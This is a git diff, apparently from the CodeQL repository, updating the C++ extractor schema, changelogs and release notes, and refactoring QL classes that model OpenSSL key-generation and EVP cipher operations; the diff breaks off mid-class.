@istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties new file mode 100644 index 00000000000..bc85f01c52e --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties @@ -0,0 +1,3 @@ +description: Support __mfp8 type +compatibility: backwards +builtintypes.rel: run builtintypes.qlo diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json deleted file mode 100644 index 4cddef005b2..00000000000 --- a/cpp/misc/bulk_generation_targets.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "strategy": "dca", - "language": "cpp", - "targets": [ - { "name": "openssl", "with-sources": false, "with-sinks": false }, - { "name": "sqlite", "with-sources": false, "with-sinks": false } - ], - "destination": "cpp/ql/lib/ext/generated" -} \ No newline at end of file diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 4ad53d108e2..c46ab004464 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,33 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. + +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. + ## 4.3.1 ### Bug Fixes diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md deleted file mode 100644 index ea821d7d48d..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md deleted file mode 100644 index a1aec0a695a..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md deleted file mode 100644 index bdc369bfedd..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added support for `wmain` as part of the ArgvSource model. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md deleted file mode 100644 index b1a31ea6eb5..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -category: breaking ---- -* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. -* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. -* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md deleted file mode 100644 index e07dcbe8598..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -category: feature ---- -* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. -* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. -* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md deleted file mode 100644 index 423a1a424f9..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md new file mode 100644 index 00000000000..44f9b12968d --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added a predicate `hasParameterList` to `LambdaExpression` to capture whether a lambda has an explicitly specified parameter list. diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 00000000000..212cb2bdd96 --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,23 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. diff --git a/cpp/ql/lib/change-notes/released/5.1.0.md b/cpp/ql/lib/change-notes/released/5.1.0.md new file mode 100644 index 00000000000..b7da377062f --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.1.0.md @@ -0,0 +1,5 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index 70ac3707fcd..dd8d287d010 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.1 +lastReleaseVersion: 5.1.0 diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll index 4f07ecc0f9e..40103569cac 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -4,42 +4,15 @@ private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers private import semmle.code.cpp.dataflow.new.DataFlow -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } - - predicate isSink(DataFlow::Node sink) { - exists(ECKeyGenOperation c | c.getAlgorithmArg() = sink.asExpr()) - } -} - -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" } - override Expr getOutputArg() { - result = this.(Call) // return value of call - } - - Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } - - override Expr getInputArg() { - // there is no 'input', in the sense that no data is being manipulated by the operation. - // There is an input of an algorithm, but that is not the intention of the operation input arg. - none() - } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() } override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() { - result = this.getOutputNode() - } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) + result.asExpr() = this.(Call).getArgument(0) } override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll index 353a89645ec..e6e9954a333 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll @@ -5,6 +5,7 @@ private import experimental.quantum.Language private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase module EncValToInitEncArgConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] } @@ -34,19 +35,12 @@ Crypto::KeyOperationSubtype intToCipherOperationSubtype(int i) { } // TODO: need to add key consumer -abstract class EVP_Cipher_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } +abstract class EVP_Cipher_Initializer extends EVPInitialize { + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - - abstract Expr getKeyArg(); - - abstract Expr getIVArg(); - - // abstract Crypto::CipherOperationSubtype getCipherOperationSubtype(); abstract Expr getOperationSubtypeArg(); - Crypto::KeyOperationSubtype getCipherOperationSubtype() { + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if this.(Call).getTarget().getName().toLowerCase().matches("%encrypt%") then result instanceof Crypto::TEncryptMode else diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index 233bfd50433..5f24d840ff8 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -4,36 +4,23 @@ private import EVPCipherInitializer private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) +class EVP_Cipher_Update_Call extends EVPUpdate { + EVP_Cipher_Update_Call() { + this.(Call).getTarget().getName() in [ + "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" + ] } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } + override Expr getInputArg() { result = this.(Call).getArgument(3) } + + override Expr getOutputArg() { result = this.(Call).getArgument(1) } } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - -// import experimental.quantum.OpenSSL.AlgorithmValueConsumers.AlgorithmValueConsumers -// import OpenSSLOperation -// class EVPCipherOutput extends CipherOutputArtifact { -// EVPCipherOutput() { exists(EVP_Cipher_Operation op | op.getOutputArg() = this) } -// override DataFlow::Node getOutputNode() { result.asDefiningArgument() = this } -// } -// /** * see: https://docs.openssl.org/master/man3/EVP_EncryptInit/#synopsis * Base configuration for all EVP cipher operations. - * NOTE: cannot extend instance of OpenSSLOperation, as we need to override - * elements of OpenSSLOperation (i.e., we are creating an instance) */ -abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - Expr getAlgorithmArg() { this.getInitCall().getAlgorithmArg() = result } - +abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(1) } override Crypto::KeyOperationSubtype getKeyOperationSubtype() { @@ -43,54 +30,35 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati result instanceof Crypto::TDecryptMode and this.(Call).getTarget().getName().toLowerCase().matches("%decrypt%") or - result = this.getInitCall().getCipherOperationSubtype() and + result = this.getInitCall().getKeyOperationSubtype() and this.(Call).getTarget().getName().toLowerCase().matches("%cipher%") } - EVP_Cipher_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - override Crypto::ConsumerInputDataFlowNode getNonceConsumer() { this.getInitCall().getIVArg() = result.asExpr() } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Crypto::ConsumerInputDataFlowNode getKeyConsumer() { this.getInitCall().getKeyArg() = result.asExpr() + // todo: or track to the EVP_PKEY_CTX_new } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() } } -class EVP_Cipher_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOperation, EVP_Cipher_Operation { 